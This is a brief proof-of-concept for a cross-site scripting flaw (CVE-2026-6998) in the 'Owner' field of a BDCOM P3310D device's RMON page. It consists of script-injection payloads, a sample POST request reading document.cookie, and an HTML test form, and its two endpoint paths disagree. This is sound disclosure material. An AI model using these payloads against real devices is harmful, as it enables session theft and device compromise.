CVE-2026-6998 BDCOM P3310D跨站脚本漏洞

<!-- PoC for CVE-2026-6998 Target: BDCOM P3310D New RMON Statistics Page Parameter: Owner --> <!-- Malicious payload injection example --> <script> // Simulating an attack by injecting a script into the 'Owner' field var payload = '<img src=x onerror=alert(1)>'; // In a real attack, this would be sent via a POST request to the RMON configuration endpoint // Example Request: // POST /cgi-bin/rmon_config HTTP/1.1 // Host: <target_ip> // Content-Type: application/x-www-form-urlencoded // Owner=<script>alert(document.cookie)</script>&other_params=... console.log("Payload to inject into 'Owner' argument: " + payload); </script> <!-- HTML Form Example for manual testing --> <!-- <form action="http://<target_ip>/set_rmon" method="POST"> <input type="text" name="Owner" value='"><script>alert("XSS")</script><"'> <input type="submit" value="Submit"> </form> -->